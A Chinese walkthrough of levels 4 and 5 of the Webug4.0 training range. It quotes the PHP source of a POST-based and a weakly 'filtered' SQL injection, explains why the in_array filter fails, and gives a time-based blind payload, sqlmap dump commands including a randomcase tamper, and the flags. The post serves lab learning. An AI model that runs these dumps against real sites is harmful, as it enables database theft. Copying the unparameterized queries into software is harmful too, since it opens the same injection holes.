当前位置: 首页 > news >正文

Webug4.0通关笔记03- 第4关POST注入和第5关过滤注入

目录

第04关 POST型注入

1.源码分析

2.sqlmap注入

(1)bp保存报文

(2)sqlmap渗透

(3)获取flag

第05关 过滤型注入

1.源码分析

2.sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


第04关 POST型注入

http://192.168.71.1/webug4/control/sqlinject/post_injection.phphttp://192.168.71.1/webug4/control/sqlinject/post_injection.php

1.源码分析

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
/*** SELECT * FROM sqlinjection WHERE content = '1' or if(1=1, sleep(3),1); --+'*/
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {$sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";$res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}
}
require_once TPMELATE."/post-injection.html";

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示,存在时间盲注。

2.sqlmap注入

(1)bp保存报文

将报文保存为 webug04.txt

(2)sqlmap渗透

sqlmap -r webug04.txt --current-db --dump --batch

如下所示渗透成功

(3)获取flag

根据如下可知,本关卡的flag为dsfasdczxcg

第05关 过滤型注入

http://192.168.71.1/webug4/control/sqlinject/filter_injection.phphttp://192.168.71.1/webug4/control/sqlinject/filter_injection.php

1.源码分析

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}
/*** SELECT * FROM sqlinjection WHERE content = '1' or if(1=1, sleep(3),1); --+'*/
$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";} else{$sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";$res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}}
}
require_once TPMELATE."/post-injection.html";

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别时select和SELECT过滤

$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";}}
}

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框

in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

 因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。

2.sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py,将随机大小写来绕过源码对select关键字的过滤

sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf

相关文章:

  • DeepSeek破界而来:重构大规模深度检索的算力与边界
  • GTC Taipei 2025 医疗域前瞻:从AI代理到主权生态,解码医疗健康与生命科学的未来图景
  • BT136-ASEMI无人机专用功率器件BT136
  • acwing背包问题求方案数
  • Android Studio中OpenCV应用详解:图像处理、颜色对比与OCR识别
  • 人体姿态估计常用数据集介绍
  • 32、Server.Transfer和Response.Redirect的区别是什么?
  • 5 个开源 MCP 服务器
  • 第三次作业(密码学)
  • 4、CMake基础:日志、变量操作和宏定义
  • 跨越养生误区雷区,迈向科学养生大道
  • Python项目打包部署
  • node.js 实战——mongoDB 续一
  • 在阿里云实例上部署通义千问QwQ-32B推理模型
  • Linux基础篇、第一章_01_3安装虚拟机手动安装部署Ubuntu22.04服务器
  • Maven根据Google proto文件自动生成java对象
  • Vue基础(一) 基础用法
  • uniapp 小程序 安卓苹果 短视频解决方案
  • 云数据中心整体规划方案PPT(113页)
  • 怎样学习Electron
  • 自称“最美”通缉犯出狱当主播?央广网:三观怎能跟着“五官”跑
  • 光明网评论员:手机“二次放号”,需要重新确认“你是你”
  • 上海“生育友好岗”已让4000余人受益,今年将推产假社保补贴政策
  • 下任美联储主席热门人选沃什:美联储犯下“系统性错误”,未能控制一代人以来最严重的通胀
  • 中国人民银行行长潘功胜会见世界银行行长彭安杰
  • 铜钴巨头洛阳钼业一季度净利润同比大增九成,最新宣布超30亿元收购黄金资产